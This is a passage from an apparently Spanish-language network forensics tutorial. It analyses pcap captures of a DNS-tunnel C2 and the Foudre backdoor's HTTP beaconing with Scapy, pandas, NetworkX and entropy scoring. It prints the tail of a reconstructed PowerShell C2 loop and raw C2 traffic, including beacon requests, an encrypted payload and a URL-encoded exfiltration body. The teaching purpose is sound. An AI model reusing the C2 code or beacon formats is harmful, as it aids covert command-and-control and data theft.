sendResult -rd $rb -id $cid

$partid = 1
$cid++
}

} until(0)

Cada fragmento que acabas de decodificar es un trozo del cuerpo del malware, escrito en PowerShell, el
atacante lo envía dividido en piezas que parecen inofensivas consultas DNS.... Luego, dentro de la máquina
infectada, el script lo reconstruye, línea por línea, como si estuviera armando un rompecabezas. Este
PowerShell no es cualquier script... es un túnel de Comando y Control (C2) sobre DNS, este C2, usa el
dominio [Link] como base y envía/recibe comandos en pequeñas piezas. El atacante no necesita

253
abrir puertos ni usar HTTP..... le basta con consultas DNS .... y lo hermoso (y peligroso) es que esto pasa sin
levantar alertas si no se inspeccionan los registros TXT.

PCAP_DGA
El del archivo C2_Foudre_Backdoor_DGA.pcapng, es otro tipo de criatura.... donde el primer pcap
hablaba en idioma DNS, este habla en voz baja pero con tráfico tipo HTTP, como si intentara mezclarse con
el tráfico normal de la web. Así que vamos a hacer lo mismo.... lo observamos con calma, con un café en
mano y lo traducimos al lenguaje humano.

Así empieza la historia, mirando desde lejos.


Imaginá que abrís el archivo C2_Foudre_Backdoor_DGA.pcapng y antes de buscar nada raro, querés saber
el pulso del tráfico.

In [103]:
resumen, df_src, df_dst, df_tcp_dports, df_udp_dports, sizes = resumen_pcap(PCAP_DGA) #
funcion q usamos primer ejemplo

print("=== RESUMEN GENERAL ===")


for k, v in [Link]():
print(f"{k}: {v}")

print("\nTop IP origen:")
print(df_src.head(5))

print("\nTop IP destino:")
print(df_dst.head(5))

=== RESUMEN GENERAL ===


total_paquetes: 28
tcp: 28
udp: 0
icmp: 0
otros_ip: 0
con_dns: 0
con_raw: 9

Top IP origen:
ip_src count_src
0 [Link] 15
1 [Link] 13

Top IP destino:
ip_dst count_dst
0 [Link] 15
1 [Link] 13

254
Si te fijas en los números, la conversación está equilibrada.... el servidor ([Link]) envía 15
paquetes, y el cliente ([Link]) 13. Eso ya descarta que sea una simple petición HTTP estática (donde el
cliente habla más). Acá hay diálogo, ida y vuelta... y eso, en análisis forense de red, casi siempre significa
control remoto o intercambio activo de comandos.

En este punto, podríamos ya dar el siguiente paso natural.... abrir los paquetes con Scapy y ver sus
contenidos. Pero lo haremos con cuidado, comentando cada línea, leyendo como quien examina una carta
bajo la luz cálida del café.

Primero, cargamos el pcap y buscamos solo los paquetes que traen datos reales, el resto, como el hola del
TCP (SYN, ACK), no nos sirve para leer contenido.

In [104]:
from [Link] import *

# aquí, cargamos el archivo del caso 2 (Foudre DGA)


pcap = rdpcap(PCAP_DGA)

# luego, filtramos los paquetes TCP que tienen datos (capa Raw)
raw_pkts = [p for p in pcap if TCP in p and Raw in p]

print(f"[x] Total de paquetes: {len(pcap)}")


print(f"[x] Paquetes con datos Raw: {len(raw_pkts)}\n")

# mostramos los primeros mensajes del intercambio


for i, p in enumerate(raw_pkts[:5]):
src = p[IP].src
dst = p[IP].dst
data = p[Raw].[Link](errors="ignore")
print(f"--- Paquete #{i} ---")
print(f"De {src} ---> {dst}")
print(data[:400]) # mostramos solo un fragmentos
print("-"*60)

[x] Total de paquetes: 28


[x] Paquetes con datos Raw: 9

--- Paquete #0 ---


De [Link] ---> [Link]
GET /de/?d=2020298&v=00021&t=2020%2D10%2D24%2D%2D7%2D28%2D20 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
Host: [Link]
Cache-Control: no-cache

------------------------------------------------------------
--- Paquete #1 ---
De [Link] ---> [Link]

255
HTTP/1.1 302 Found
Connection: Keep-Alive
X-Powered-By: PHP/7.3.23
Content-Type: application/octet-stream
Location: [Link]
Content-Length: 0
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed
Cache-Control: no-cache, no-store, must-revalidate, max-age=0

------------------------------------------------------------
--- Paquete #2 ---
De [Link] ---> [Link]
GET /de/[Link] HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
Host: [Link]
Cache-Control: no-cache
Connection: Keep-Alive

------------------------------------------------------------
--- Paquete #3 ---
De [Link] ---> [Link]
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: application/pgp-signature
Last-Modified: Mon, 19 Oct 2020 00:39:53 GMT
Accept-Ranges: bytes
Content-Length: 256
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed

=%*ka6‫|ܼ[מ‬iWP;b?#ͮF\/hdZnwmj2KWlS>g&
.'K"VJv1=4|/̔,̴~sJjҳ}jɽ`%9зtB*)HM2,)(eM3#&:​ ρCIEą0DD_.‫މ‬xlBO#uvb‫܌‬GxaG!2ʓ(
------------------------------------------------------------
--- Paquete #4 ---
De [Link] ---> [Link]
GET
/2014/?c=MSEDGEWIN10&u=IEUser&v=00021&s=TehN002&f=datadir1&mi=747f3d96%2D68a7%2D43f1%2D
8cbe%2De8d6dadd0358&b=64&t=2020%2D10%2D24%2D%2D7%2D28%2D20 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
Host: [Link]
Cache-Control: no-cache

------------------------------------------------------------

256
Cada paquete con Raw es un mensaje dentro de una sesión TCP ya establecida, si esto fuera una película,
los SYN y ACK serían los créditos iniciales, pero los Raw son el diálogo entre los protagonistas.

En este caso, vas a ver cosas como:

GET /de/?d=2020298&v=00021&t=2020...
Host: [Link]
User-Agent: Mozilla/5.0 ...

Y luego:

HTTP/1.1 302 Found


Location: [Link]
Server: LiteSpeed

Acá es cuando el café se enfría un poco, porque te das cuenta de algo raro, no hay ningún navegador, no
hay usuario humano, pero sí hay un HTTP limpio, armado como si lo escribiera una máquina... eso es típico
de implantes automatizados.

●​ El GET /de/?d=2020298... es la petición del agente (la víctima).


●​ El 302 Found que vuelve, es el servidor diciéndole.... No, no está acá, buscá allá.

Esa redirección es un clásico truco de Command and Control (C2) que mantienen las órdenes en archivos
temporales o rutas efímeras, para que si alguien revisa los logs, parezca tráfico normal.

Después verás algo así como:

HTTP/1.1 200 OK
Content-Type: application/pgp-signature
Content-Length: 256

y ahí ya sabés que el implante descargó algo, que hay un bloque cifrado, probablemente instrucciones o un
módulo firmado. Y si el caso sigue su patrón (como otros de Foudre), verás finalmente un:

HTTP/1.1 404 Not Found

que no significa que falló, sino que terminó la tarea.... es la forma elegante del atacante de decir... ya está,
misión cumplida.
In [107]:
# aquí, filtramos solo los paquetes TCP que contienen datos

257
raw_pkts = [p for p in pkts if [Link](TCP) and [Link](Raw)]

print(f"[x] Total de paquetes en el archivo: {len(pkts)}")


print(f"[x] Paquetes con datos (Raw): {len(raw_pkts)}\n")

#ahora, mostramos los primeros paquetes con contenido


for i, p in enumerate(raw_pkts[:5]):
src = p[IP].src
dst = p[IP].dst
sport = p[TCP].sport
dport = p[TCP].dport
data = p[Raw].load

print(f"--- Paquete #{i} ---")


print(f"Origen: {src}:{sport} ----> Destino: {dst}:{dport}")

# intentamos decodificar a texto legible


try:
texto = [Link]("utf-8", errors="ignore")
print(texto[:400]) # mostramos solo los primeros 400 caracteres
except Exception as e:
print(f"<Datos no decodificables: {e}>")

print("-" * 80)

[x] Total de paquetes en el archivo: 301


[x] Paquetes con datos (Raw): 0

Si ves un resultado, significa que ya estás leyendo el tráfico HTTP completo. Ahí empieza la parte de la
historia donde el implante Foudre se comunica con su servidor de mando y descarga instrucciones.

In [108]:
from [Link] import rdpcap, IP, TCP, Raw
import pandas as pd

PCAP_DGA = r"C:\pcap\C2_Foudre_Backdoor_DGA.pcapng" # ajusta ruta si es distinto

pkts = rdpcap(PCAP_DGA)

http_records = []

for p in pkts:
if not ([Link](IP) and [Link](TCP)):
continue

ip = p[IP]
tcp = p[TCP]

# buscamos capa Raw con HTTP


if not [Link](Raw):
continue

258
raw = p[Raw].load
try:
raw_text = [Link](errors="ignore")
except:
raw_text = str(raw)

# detectar si es request (GET/POST)


if raw_text.startswith(("GET ", "POST ", "HEAD ", "PUT ", "DELETE ")):
direction = "request"
else:
direction = "response"

http_records.append({
"time_epoch": float([Link]),
"src": [Link],
"dst": [Link],
"sport": [Link],
"dport": [Link],
"direction": direction,
"payload": raw_text.strip(),
})

print(f"HTTP encontrados: {len(http_records)}")


http_records[:3]

HTTP encontrados: 9

Out[108]:
[{'time_epoch': 1603549700.219521,
'src': '[Link]',
'dst': '[Link]',
'sport': 49727,
'dport': 80,
'direction': 'request',
'payload': 'GET /de/?d=2020298&v=00021&t=2020%2D10%2D24%2D%2D7%2D28%2D20
HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101
Firefox/40.1\r\nHost: [Link]\r\nCache-Control: no-cache'},
{'time_epoch': 1603549700.341498,
'src': '[Link]',
'dst': '[Link]',
'sport': 80,
'dport': 49727,
'direction': 'response',
'payload': 'HTTP/1.1 302 Found\r\nConnection: Keep-Alive\r\nX-Powered-By:
PHP/7.3.23\r\nContent-Type: application/octet-stream\r\nLocation:
[Link]\r\nContent-Length: 0\r\nDate: Sat, 24 Oct 2020 14:28:19
GMT\r\nServer: LiteSpeed\r\nCache-Control: no-cache, no-store, must-revalidate,
max-age=0'},
{'time_epoch': 1603549700.34851,
'src': '[Link]',
'dst': '[Link]',

259
'sport': 49727,
'dport': 80,
'direction': 'request',
'payload': 'GET /de/[Link] HTTP/1.1\r\nUser-Agent: Mozilla/5.0
(Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1\r\nHost:
[Link]\r\nCache-Control: no-cache\r\nConnection: Keep-Alive'}]

Ahora lo convertimos a un Dataset:

In [109]:
import pandas as pd
from [Link] import urlparse, parse_qs

df = [Link](http_records)
df["time"] = pd.to_datetime(df["time_epoch"], unit="s", errors="coerce")

def parse_http(payload):
lines = [Link]("\r\n")
first = lines[0].split(" ")
if len(first) < 2:
return None
method = first[0]
url = first[1]
host = None
for line in lines:
if [Link]().startswith("host:"):
host = [Link](":", 1)[1].strip()
parsed = urlparse(url)
params = parse_qs([Link])
return {
"method": method,
"url": url,
"path": [Link],
"host": host,
"params": params,
}

df["parsed"] = df["payload"].map(parse_http)
df

Out[109]:

s d
time_ dir
p p
epoc src dst ecti payload time parsed
o o
h on
rt rt

260
4 2020-10- {'method':
1.603 185.5 9 req GET 24 'GET', 'url':
10.0.2 8
0 550e 6.137. 7 ues /de/?d=2020298&v=00021&t= 14:28:20 '/de/?d=202
.15 0
+09 138 2 t 2020%2D10%2D24%2D... .219521 0298&v=00
7 046 0...

4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 302 24
10.0.2 8 'HTTP/1.1',
1 550e 6.137. 7 pon Found\r\nConnection: 14:28:20
.15 0 'url': '302',
+09 138 2 se Keep-Alive\r... .341497
'path': '...
7 898

4 2020-10- {'method':
1.603 185.5 9 req GET 24 'GET', 'url':
10.0.2 8
2 550e 6.137. 7 ues /de/[Link] 14:28:20 '/de/db54a8
.15 0
+09 138 2 t HTTP/1.1\r\nUs... .348510 45.top2020
7 027 ...

4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 200 24
10.0.2 8 'HTTP/1.1',
3 550e 6.137. 7 pon OK\r\nConnection: 14:28:20
.15 0 'url': '200',
+09 138 2 se Keep-Alive\r\nC... .384807
'path': '...
7 110

4 2020-10- {'method':
1.603 185.5 9 req GET 24 'GET', 'url':
10.0.2 8
4 550e 6.137. 7 ues /2014/?c=MSEDGEWIN10&u 14:28:20 '/2014/?c=
.15 0
+09 138 2 t =IEUser&v=00021&s=Te... .468709 MSEDGE
7 946 WIN10...

4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 404 Not 24
10.0.2 8 'HTTP/1.1',
5 550e 6.137. 7 pon Found\r\nConnection: 14:28:20
.15 0 'url': '404',
+09 138 2 se Keep-Ali... .501993
'path': '...
7 895

{'method':
4 2020-10-
'POST',
1.603 185.5 9 req POST 24
10.0.2 8 'url':
6 550e 6.137. 7 ues /en/?2020%2D10%2D24%2D 14:28:20
.15 0 '/en/?2020
+09 138 2 t %2D7%2D28%2D20 HTTP... .662239
%2D10%2
7 075
D24...

261
4 2020-10-
1.603 185.5 9 res f=datadir1&c=MSEDGEWIN1 24
10.0.2 8
7 550e 6.137. 7 pon 0&u=IEUser&v=00021&s=Te.. 14:28:20 None
.15 0
+09 138 2 se . .662307
7 024

4 2020-10-
{'method':
1.603 185.5 9 res HTTP/1.1 200 24
10.0.2 8 'HTTP/1.1',
8 550e 6.137. 7 pon OK\r\nConnection: 14:28:20
.15 0 'url': '200',
+09 138 2 se Keep-Alive\r\nX... .791883
'path': '...
7 945

Hay dos tipos de mensajes que veremos, los GET (del cliente) y las respuestas 302/200 (del servidor).Si esto
fuera una charla, la víctima habla poco, pero cada palabra es importante..... Luego, La víctima usa
parámetros numéricos y fechas en los GET, lo que revela un patrón de generación de nombres (de ahí el
nombre Foudre DGA).... Finalmente, el servidor responde con redirecciones y archivos .sig. El .sig no es una
firma cualquiera... ojo aquí, este suele ser el payload cifrado o firmado digitalmente.

In [110]:
import pandas as pd
from [Link] import urlparse, parse_qs

# creamos el dataframe desde los registros HTTP extraídos anteriormente


df = [Link](http_records)

# aquí, convertimos el tiempo UNIX (epoch) a formato legible , esto importa en


forense!
df["time"] = pd.to_datetime(df["time_epoch"], unit="s", errors="coerce")

# esta función, toma el texto raw del HTTP y lo separa en partes útiles
def parse_http(payload):
lines = [Link]("\r\n") #separamos por líneas (cada encabezado
HTTP)
first = lines[0].split(" ") #la primera línea-- > método y URL
if len(first) < 2:
return None # Si no tiene al menos dos partes, no
sirve

method = first[0] # Ejemplo: GET, POST, HTTP/1.1


url = first[1] # Ejemplo: /de/?d=2020298&v=00021
host = None

# después, buscamos la cabecera [ Host: ] en las líneas


for line in lines:
if [Link]().startswith("host:"):
host = [Link](":", 1)[1].strip()

#usamos urlparse para desmenuzar la URL en partes


parsed = urlparse(url)

262
params = parse_qs([Link]) # convertimos los parámetros ?a=1&b=2 en
dict

return {
"method": method,
"url": url,
"path": [Link],
"host": host,
"params": params,
}

# aplicamos el parser a cada payload


df["parsed"] = df["payload"].map(parse_http)

# mostramos resultado
df[["time", "src", "dst", "direction", "parsed"]]

Out[110]:

directi
time src dst parsed
on

2020-10-24 185.56.13 reque {'method': 'GET', 'url':


0 [Link]
14:28:20.219521046 7.138 st '/de/?d=2020298&v=000...

2020-10-24 185.56.13 respo {'method': 'HTTP/1.1', 'url': '302',


1 [Link]
14:28:20.341497898 7.138 nse 'path': '...

2020-10-24 185.56.13 reque {'method': 'GET', 'url':


2 [Link]
14:28:20.348510027 7.138 st '/de/db54a845.top2020...

2020-10-24 185.56.13 respo {'method': 'HTTP/1.1', 'url': '200',


3 [Link]
14:28:20.384807110 7.138 nse 'path': '...

2020-10-24 185.56.13 reque {'method': 'GET', 'url':


4 [Link]
14:28:20.468709946 7.138 st '/2014/?c=MSEDGEWIN10...

2020-10-24 185.56.13 respo {'method': 'HTTP/1.1', 'url': '404',


5 [Link]
14:28:20.501993895 7.138 nse 'path': '...

2020-10-24 185.56.13 reque {'method': 'POST', 'url':


6 [Link]
14:28:20.662239075 7.138 st '/en/?2020%2D10%2D24...

263
2020-10-24 185.56.13 respo
7 [Link] None
14:28:20.662307024 7.138 nse

2020-10-24 185.56.13 respo {'method': 'HTTP/1.1', 'url': '200',


8 [Link]
14:28:20.791883945 7.138 nse 'path': '...

Aquí, pasaremos de mirar una estructura de Python medio enredada por el parsed, a tener una tabla limpia,
legible, donde cada columna te cuenta una parte de la historia.

In [111]:
#Estas tres líneas toman el diccionario parsed que creamos antes (con method, path,
host, etc.)
#y lo expanden a columnas separadas, así podremos ordenar, filtrar y graficar sin
tener que andar abriendo diccionarios anidados.

df["method"] = df["parsed"].map(lambda x: x["method"] if x else None)


df["path"] = df["parsed"].map(lambda x: x["path"] if x else None)
df["host"] = df["parsed"].map(lambda x: x["host"] if x else None)

#despues viene la parte mas interesante, donde extraemos los parámetros ocultos del
DGA (Domain Generation Algorithm)
df["d"] = df["parsed"].map(lambda x: x["params"].get("d",[None])[0] if x else None)
df["v"] = df["parsed"].map(lambda x: x["params"].get("v",[None])[0] if x else None)
df["t"] = df["parsed"].map(lambda x: x["params"].get("t",[None])[0] if x else None)

df[["time","src","dst","direction","method","host","path","d","v","t"]]

Out[111]:

dire
met
time src dst ctio host path d v t
hod
n

20
20
-1
0-
2020-10-24 202 00
[Link] 185.56. requ db54a8 24
0 14:28:20.2 GET /de/ 029 02
5 137.138 est [Link] --
19521046 8 1
7-
28
-2
0

264
2020-10-24 HTT N
185.56. [Link] resp Non No
1 14:28:20.3 P/1. None 302 on
137.138 5 onse e ne
41497898 1 e

2020-10-24 N
[Link] 185.56. requ db54a8 /de/[Link] Non No
2 14:28:20.3 GET on
5 137.138 est [Link] [Link] e ne
48510027 e

2020-10-24 HTT N
185.56. [Link] resp Non No
3 14:28:20.3 P/1. None 200 on
137.138 5 onse e ne
84807110 1 e

20
20
-1
0-
2020-10-24 00
[Link] 185.56. requ db54a8 Non 24
4 14:28:20.4 GET /2014/ 02
5 137.138 est [Link] e --
68709946 1
7-
28
-2
0

2020-10-24 HTT N
185.56. [Link] resp Non No
5 14:28:20.5 P/1. None 404 on
137.138 5 onse e ne
01993895 1 e

2020-10-24 N
[Link] 185.56. requ POS db54a8 Non No
6 14:28:20.6 /en/ on
5 137.138 est T [Link] e ne
62239075 e

2020-10-24 N
[Link] 185.56. resp Non Non No
7 14:28:20.6 None None on
5 137.138 onse e e ne
62307024 e

2020-10-24 HTT N
185.56. [Link] resp Non No
8 14:28:20.7 P/1. None 200 on
137.138 5 onse e ne
91883945 1 e

Las columnas en el resultado:

265
●​ d suele representar el día de la infección o de la comunicación, en formato YYYYDDD (eje: 2020298
-> 24 de octubre de 2020)
●​ v es la versión del implante o la tarea.
●​ t es una marca temporal que el malware usa para comprobar la sincronización.

Finalmente,puedes verla así en la consola o exportar como CSV.

Cuando dibujas el tráfico con NetworkX, lo que hacés es convertir las IPs y sus flujos en un pequeño mapa
de relaciones... y aunque parezca simple, eso te da una mirada visual inmediata de quién habla con quién,
cuántas veces y en qué dirección fluye la historia.

In [112]:
import networkx as nx
import [Link] as plt

# Creamos el gráfico dirigido


G = [Link]()

# Contamos los flujos entre IPs origen y destino


flows = [Link](["src", "dst"]).size().reset_index(name="count")

# Agregamos cada conexión como un borde (edge)


for _, row in [Link]():
G.add_edge(row["src"], row["dst"], weight=row["count"])

# Posicionamos los nodos de forma fija para mayor claridad


pos = nx.spring_layout(G, seed=42)

# Dibujamos los nodos


nx.draw_networkx_nodes(G, pos, node_color="black", node_size=1500, alpha=0.8)

# Dibujamos los nombres de los nodos (IPs)


nx.draw_networkx_labels(G, pos, font_color="white", font_size=8, font_weight="bold")

# Dibujamos las conexiones (aristas) con grosor proporcional al número de paquetes


edges = [Link](data=True)
nx.draw_networkx_edges(
G, pos,
edgelist=edges,
width=[max(1, d["weight"]/2) for (_, _, d) in edges],
edge_color="red",
arrows=True,
arrowsize=25
)

[Link]("Mapa de comunicación - Caso HTTP Foudre DGA", fontsize=12)


[Link]("off")
[Link]()

266
Podemos ahora para complementar, haremos una función que calcula la entropía de Shannon de una
cadena, que es básicamente una medida de cuán desordenado o aleatorio es el texto. Si lo traducimos a
lenguaje Jedi.... un nombre normal como "[Link]" tiene entropía baja (más o menos 2.8 bits por
carácter). Un dominio generado por malware, tipo "[Link]", puede pasar de 4.5 bits por
carácter.

En resumen: más entropía --> más aleatoriedad ---> más sospechoso. Cuando lo ves así, podés oler el
patrón al instante...los dominios con entropía alta tienden a ser generados automáticamente y suelen venir
de DGAs (Domain Generation Algorithms), esos generadores de nombres que usan los implantes para
esconder sus C2.

In [113]:
def shannon_entropy(s):
import math
from collections import Counter
if not s:
return 0
c = Counter(s)
total = len(s)
e = 0.0
for v in [Link]():
p = v/total
e -= p * math.log2(p)
return e

df["host_entropy"] = df["host"].map(shannon_entropy)
df["host_len"] = df["host"].map(lambda x: len(x) if x else 0)

df[["host","host_len","host_entropy"]]

267
Out[113]:

host_le host_entrop
host
n y

[Link]
0 12 3.251629
p

1 None 0 0.000000

[Link]
2 12 3.251629
p

3 None 0 0.000000

[Link]
4 12 3.251629
p

5 None 0 0.000000

[Link]
6 12 3.251629
p

7 None 0 0.000000

8 None 0 0.000000

Lo que vamos a hacer en este último tramo fue abrir la carta completa del atacante, pero sin tocarla
todavía.... hasta ahora ya sabíamos quién habló con quién (las IPs y los puertos), sabíamos qué dijeron en
voz alta (las consultas GET) y ahora entramos a ver qué contestó el servidor, es decir, la parte más jugosa...
las respuestas HTTP.

In [114]:
df_response = df[df["direction"]=="response"]
for p in df_response["payload"].tolist():
print("\n=== RESPONSE RAW ===")
print(p)

=== RESPONSE RAW ===


HTTP/1.1 302 Found

268
Connection: Keep-Alive
X-Powered-By: PHP/7.3.23
Content-Type: application/octet-stream
Location: [Link]
Content-Length: 0
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed
Cache-Control: no-cache, no-store, must-revalidate, max-age=0

=== RESPONSE RAW ===


HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: application/pgp-signature
Last-Modified: Mon, 19 Oct 2020 00:39:53 GMT
Accept-Ranges: bytes
Content-Length: 256
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed

=%*ka6‫|ܼ[מ‬iWP;b?#ͮF\/hdZnwmj2KWlS>g&
.'K"VJv1=4|/̔,̴~sJjҳ}jɽ`%9зtB*)HM2,)(eM3#&:​ ρCIEą0DD_.‫މ‬xlBO#uvb‫܌‬GxaG!2ʓ(

=== RESPONSE RAW ===


HTTP/1.1 404 Not Found
Connection: Keep-Alive
X-Powered-By: PHP/7.3.23
Content-Type: text/html; charset=UTF-8
Content-Length: 324
Date: Sat, 24 Oct 2020 14:28:19 GMT
Server: LiteSpeed

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>

=== RESPONSE RAW ===


f=datadir1&c=MSEDGEWIN10&u=IEUser&v=00021&s=TehN002&mi=747f3d96%2D68a7%2D43f1%2D8cbe%2D
e8d6dadd0358&t=2020%2D10%2D24%2D%2D7%2D28%2D20&txt=IAAAAEdvcK%2FvG7s%2Fi70tlHqpGq3qWFv8
1OoUnDYx6gxi%2Bh5qpZMZb%2F0IZP1gCCfdGgtlll1mR9ZJ%0D%0A1LGOAuN5YWVqthgFFk0o6Ap%2F42n2MgX
Qv6EAKnPUWJ1cx91Lv677bdPSQgCF9WX2MsFQD%2FszpbA4%0D%0AcT3MQZWuMkA6820l0fMiNSMn6jTfmJFYVH
%2FtN%2F6cqXRwe%2Fumi0X2KKJNBp0VB3qhbKq6M5wyaJ9z%0D%0Ah2ND%2FnTctwxPooDoKtDSxAlCNh3ypKI
2k6hpqCtSgjgJ1nwOgK6exOuVN2PULV7UipHqkAGzNdsc%0D%0AE%2FOxb41nTPkq5rbAuAHLK%2BKe%2BAO4ja
vGywDHhgjMP0VQT7BlxVjsw%2BkS41%2BhU9tC7QFOlls1qh%2Bt%0D%0A5llchHcQRgp2fi2L3F8FCKIaG8BuE
1KTX6OM7k6gdDs8id2oBWixH6co0FzFWJg04NYdnkqmHx80%0D%0AEA5n4cryne2qWfFNOif2sFA1llECKmOOBG
N%2BUYouJ%2FOe3waUsObelN4QFe7YS9ZGR3q9vGHcTc8c%0D%0ASYSqZ2%2FfWJf18PXrUC2mp7GQenkeZyQav
ZhcfCrOkr5i2qNEA4B6RT0wDI9A4%2BUatz8HW7TOEUTh%0D%0Afu0elrOUbjrZPL9j87rBfsXzM9SlpvQFevX2
v7NGt5g3ak3FQv8KfucuC%2FT8feioasGOwYNuDWkY%0D%0ANj%2BISr6YwvDZfMKb%2F4RkDHur2OZzfUpUTzZ

269
eLihDcbNBkXj56ILVd1ZslZlUmal4Lbdb85g07Tfh%0D%0AWNXSiJJcP7W3sPkvoKk%2FKd%2F9DYvu7VZbX%2B
V7vw4ciobOwKkjqXmZPOSDvPbe1ewrB2LyNNC06XRR%0D%0AOLk2G61BnUHfjlS4LTuhh3ibTOmAdgAkKxrodPg
QIYT4fBe929Tqacd8u4Iq5yWCMUn%2Bm8FuGmNB%0D%0AVZQxawgTq1E6yUIEVzDkN7ZjbZSXip%2FUg1faUgwF
aU49%2BNq9zzrTpmPRGrys2wiqjx4bX%2BvEQKfd%0D%0A8ao%2B4xl2mlJqa%2F1ddPykqIl4eKtmqmBpTyh15
aYAs0UAPVwnSF75UcGVtiiSAA0r%2FIdxbHjzl5hD%0D%0ArYid0myDo%2FlqgZ6Xr1JlYVZn51livHZrAk6A4o
v1XYy6TXbL7V%2F9ZBz%2BY4izu0aTcWArSdN%2F5ReY%0D%0A3KY7YqYUgcf25oPGOTRqEWppMiX3oQ%2Fex4V
Mf93%2B069Qasb6uIEVkIWXpCxcwS9qZ2ZNblJj1uxO%0D%0AStKmdzoGjLurEw7%2FoIonA%2FJ5SkyjnovqcT
BkbWhDxNLFNGWUVaR4w9X91k%2FERIwOrNkW%2Bgxghaqe%0D%0ATilDPnAWru2BOfeUN8YCxjFllpIvavyHlSe
kqy9rnkZqjEwRaqjXBFZPYM1teGffPTHufzgdffvK%0D%0At1fpZhQDOQzuGl76NyjUKZAtORDdBQokBps3eCmS
ka1gsCRRkwC0mQrfyJyqpzBnCMqeZFMWvx5N%0D%0ABoWrmrwRvfNgVRqgIMuFC280cvb8f2Rdbvp8OCXS1sa4R
5wf%2BHYhBp0V3cxF6mPqAba5V2l%2Fvlqb%0D%0AtKybY2ZbLNuIeOUWc06iC4yTj79V9qEXUvfdfTw%2BD0P9
gUdWH%2Bfzf1jnMjR33fJ1LWYi6yqPbBzO%0D%0AXhLIywwoNc2p4x19tOH4WshgCBMaXvPPp7BAox%2B5NMwB4
N8NFWIDMuh96Pc1M8NoxuO8cBhHiPtc%0D%0AiUKQF0uS%2FhrMe67LrYFAmijbMnUtScflkRQ%2FVTMEfBxooj
c%2Fg8nNxCZhNvOx39EoskT43Ivg8b2F%0D%0Ans738CasiBA1bQQkUGmaDL7ZdY4h4O1vLuFNSofP8cH0T5%2B
1kHegVe4YRdYCm3Fodigwbn3w0t%2BE%0D%0An0PiUqv8e5kGMBtSgrReT9CY79f7S4eIa6RKpUf4UrL%2BJozr
0uLHMmNhHaxdaF1dtlKK%2BDHf8odC%0D%0AFR2WVZpPV2UKUrnNUyw8b%2BagaZSx5dsROi%2FJXxhicu25siv
a334nWnbw7w2AGQO3TL7XWZZaShLE%0D%0ApkVbgaSpvCwoSbgw%2B2E3UbIB4UXf3eiuAygf7ZITsWXEVycRqc
ZhD%2FkHXrfcjdc1TmPkMg0URoMw%0D%0AqK5OaRbIa615zPXq0nrL4I5BC3poLMdTHbzBijYRzK3frt0kMRe4X
%2Bv5h6QlJUgOr4udpSloZsqC%0D%0Ahg%2B3k838yOju9cgu5HKAOGyOmsnm8MmqEldAAFItZ0%2B2aFJCwmFC
y5mM3GEOu6xpXKafYrtraUqh%0D%0AndfkBUZ8SepQm2MLCJrmtV4jx1MhbBYOPWvUJJG5lEdfoIAxjYcfxVAzd
O8g5O7%2FJmQxJe02AVhP%0D%0AuGMnzPT33uMXcE%2B5lpaBk3LJnx9q7j1VihaI8FGxhk%2F1GUaqE4SwFqJc
twNsGH4fRAX77w39vgp9%0D%0ARPmKYVqogMAAXQ6RAPyAEPxq54GXiQAslbiweXG%2Fi9cLujTllybag%2B14B
VaTuYAl6iCyMuk2Dan5%0D%0AKkuEUfkTnQEzF7NaDGM14DOi3gHQs1zEHF0xktY8m6vH4IuJW34f8o8pbkeKuB
rjkPR%2FtCkZsciY%0D%0AbRNr3iKKFoNH%2B5POK1w90og1NVVpZYUwxqKncuFpQr1PEpaq%2BGTkREmrA5fbV
8citG1jp34pdwG%2F%0D%0ApTcSl4asUwyG%2B82RGzpHjraIKHt5anIBOjdy6MRvv36Kr%2FbqPMr8JJPYskOo
QqHaMbC1UCGGBEym%0D%0AjccOFnbFtHFh9DKmP4Ih9kX9AX%2FC9qLbpP2PFayX4sd2nxxW6XUrtbELCk%2BbP
A%2BSaEJV2a4%2Bm8D4%0D%0APcXXR2u090e2LGxts89gaxfadfcgvjkA2xYqYoBQ%2FosbocrC6XRZBm0RMFuM
9RueMue%2Bimzdf2ej%0D%0AwJwtdPIKZuZco9buglKg9vVSphKlJBAxbAD7lSfRq5Pw0EKAMNHAFzTJdNi15YO
rqYpKskCPmLJ%2B%0D%0Ab87nnw2bsjI%2F1dFE8oyt1%2Bq5mZjo%2BZP9EriBmnMfeOPp2A%2Bo2FZvOUyzIv
PaBV99ceL16jcZnjBp%0D%0AmDH%2Fe4dR1iQ7EZiS2CadN%2BvTQ4LhW1U7BzNiS58SzyGZmN6m230kRGnFqWb
2W2QMylgZGgmPHy97%0D%0ACo7lewGH2BV0U1eYepwcMlJeqGudvX2z0cT6m4QzNC%2BlehlGVVejRAHI1diB%2
B%2B1rAVVZ6FTQ5Hyt%0D%0AhNjcQtD4tH2XK5WTKgKegbDa%2BSmYNv%2F9M4qkefUwDmXOJXMdRvJ7oazy47y
RRsQfwqiCVdlnjH05%0D%0Ag1qot4rlHeCHF5WtOQC3uBvkKD6KVXEzN0QErUzWYccqoEzOetuAoG5zq5bDJK%2
BnqhQAv9Zk4Y%2B6%0D%0A2Fs6hshWQWy4dxTjBHJ5ZkxvFZQlgKchYFP2ynJ%2BjhvByzDhvvOrwGubN5%2Flh
